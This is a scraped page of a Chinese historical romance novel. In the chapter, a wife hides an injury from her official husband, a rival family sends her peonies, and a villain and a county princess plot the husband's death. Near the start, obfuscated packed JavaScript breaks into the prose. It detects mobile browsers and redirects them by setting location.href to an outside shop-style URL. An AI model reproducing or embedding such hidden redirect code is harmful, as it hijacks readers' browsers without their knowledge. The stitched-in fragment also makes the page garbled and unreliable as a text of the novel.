他借着微光侧目打量沈卿婉，又凑近些，鼻息喷在她颈侧，惹得她发痒，缩着脖子，本能地抬手去挡。下一秒，手腕被他轻轻攥住。 沈卿婉痛呼一声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192495|194328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 孟玦一怔，拉过她手腕到眼前，看见那一圈青紫，又嗅见那奇怪的味道，这才反应过来那气味源自何处。 “怎么受了伤？” 沈卿婉不着痕迹地将手抽了回来，语气故作轻松道：“没什么，白日在园子里赏花，不小心摔了一跤，磕到了手腕，小事而已。” 她并不想让孟玦知道白日所发生的事，尤其还牵扯到她的过往。 孟玦问道：“这药膏气味特别，是谁给你上的？” 沈卿婉避开他的视线，缓缓道：“就是请的大夫，随便配的药膏。” 说完这话，房间里静了下来。 静默了片刻，孟玦缓缓说道：“睡吧。” 他表面上虽信了她这套说辞，心里却怙惙着：大夫随便配的？ 那香是宫中御制的散淤膏，以珍贵药材熬制，止血消炎有奇效，寻常民间根本无从获取。 他的妻子藏着许多秘密。可他不想像审讯犯人那般逼问她，只待她有一天自己愿意“坦诚相待”。 故而他没有点破，只语气平淡地嘱咐道：“以后小心些，别再伤着了。” 沈卿婉低低地应了一声。 翌日清晨。 孟玦穿好官服，刚走到府门口，门子便匆匆奔到他面前，朝他行了礼，禀报道：“郎君，季家派人送来一车牡丹花。” 孟玦脚步一顿，面上看不出情绪：“季家？有说为何送牡丹来么？” 门子摇了摇头，回道：“季府只说是送给娘子的，其余小的一概不知。” …… 含香正招呼着小丫鬟们烧水备饭，听见垂花门的嬷嬷通传，说季府送花来了，便将手中的活交给旁人，另带了两个小丫鬟小跑着去门口收花。 到了门口，她才发现孟玦竟还未走，正候在那里，像是在等人。 她踌躇着脚，慢吞吞地跨过门槛，向孟玦行了礼。 孟玦问：“府中花园也种着牡丹，或赏或用。怎么还要收外人的花？” 含香听闻此话，恨不得当即翻个白眼，若是娘子能随意采摘府里的牡丹，哪会发生昨个腌臜事。 她本来想隐过不提，抿着唇，最后还是没忍住道：“咱们府里的牡丹多高贵啊，老夫人看得比宝贝还重。 “别说整株花了，就是落在地上的花瓣，都不许娘子捡来用。上次娘子想取些花瓣做香膏，那管花的刘嬷嬷还说老夫人心疼，硬生生拦了下来。” 含香说那话时，只图一时的痛快，说完后，便有些心虚了。她垂着眼，不敢去看孟玦的脸色，只觉周遭异常的安静。 孟玦当时未再多言，拂袖离去。 含香见他离开，暗暗松了一口气，命人将花搬到清轩院。 待沈卿婉知道含香擅自收了那花，有些生气她的自作主张。 含香理不直气也壮：“娘子爱花，人家送花，为何要拒？您瞧瞧人家季家多大方！这些都是稀有名品的牡丹，不单送了整株花，还一送就是一车，哪像咱们府里……” 沈卿婉见那些牡丹确是国色天香，一时也欢喜，不好再强硬地退回去，拂了人家的面子。只嗔了含香几句，说下次不许再自作主张。 含香见她肯收了，忙不迭地点头应下。 *** 县主府。 县马斜倚在太师椅上，手中把玩着一枚玉扳指，指腹摩挲着冰凉的玉石纹路。他脸上挂着笑，嘴角微微上扬，眼底却无半分暖意。 他开口时，声音压得极低，带着几分漫不经心，却让站在阶下的二人浑身一僵，“人呢？” 马三捂着还未痊愈的脸颊，鼻青脸肿的模样透着狼狈，他嗫嚅道：“爷，兄弟等也没办法，那季家的郎君突然冒出来坏了好事，兄弟……实在没办法。” 白德道：“爷，那女子的身份麻烦，要不……咱们换个人选？没必要在一棵树上吊死。” 高晖哂笑一声，并不接口，原本他对沈卿婉只有三分兴趣，如今被人拦了，倒生出七分执念来。 越是得不到，就越想将其攥在手心。 经过一阵短暂的寂静，门外传来急促的脚步声，是高晖的心腹高七神色慌张地闯了进来：“爷，不好了！孟玦那边好像发现了什么，领兵去了码头…… “幸好武船头反应快，当即烧了船，令其余人弃船逃了，才没叫孟玦捉住把柄。” 高晖猛地站起身，一脚踹在旁边的矮凳上，矮凳翻倒在地，发出刺耳的声响。 那马三一双贼眼滴溜溜地转了一圈，他提议道：“爷，若是真的想要那娘子，不若趁此机会将那孟玦除了。 “如此一来，既能无后顾之忧，还能抱得美人归。” 说着，附耳奉上一计。 这一席话把高晖听了个耳满心满，转身便往县主的寝院走去。 县主正斜倚在软榻上，神色慵懒，手中把玩着一串红玛瑙珠，见他来，懒洋洋地瞥了他一眼。 高晖蹲在她腿边，讨好地为她捶着腿。 “说吧，是有什么事求我？”县主放下手中珠串，单手撑着脸问道。 高晖一边压低声音，语气凝重：“夫人，那孟玦查义仓已经查到私船那边了……” 一语未完，县主坐直了身子，冷着声道：“你说什么？” “夫人莫急，他虽查到了那私船，可我们在颍州这么多年，上上下下，哪没有我们的人？早有人通报了过去，武船头已经烧毁了所有私船。 “任他孟玦机智过人，也不过是巧妇难为无米之炊，翻不出什么花来。” 县主先是没好气地将高晖数落了一通，又道：“话虽如此，可孟玦这厮在这颍州一天，我便不能放下心来……” 高晖道：“夫人担心，亦是我之心事。为夫想过了，唯有斩草除根，才无后顾之忧！” 县主看了过去，正色道：“他毕竟是侯府出身，又是状元郎，深得天子器重，贸然动手，只怕不妥。” “谁说要我们动手了？”，高晖接过话道。 县主转过脸去盯着他看，挑了挑眉道：“你有何计策？” 高晖凑近她耳边低语，县主眼底闪过一丝意动，向他偏着头笑道：“倒是个好法子，人家是借刀杀人，你这是借天杀人。”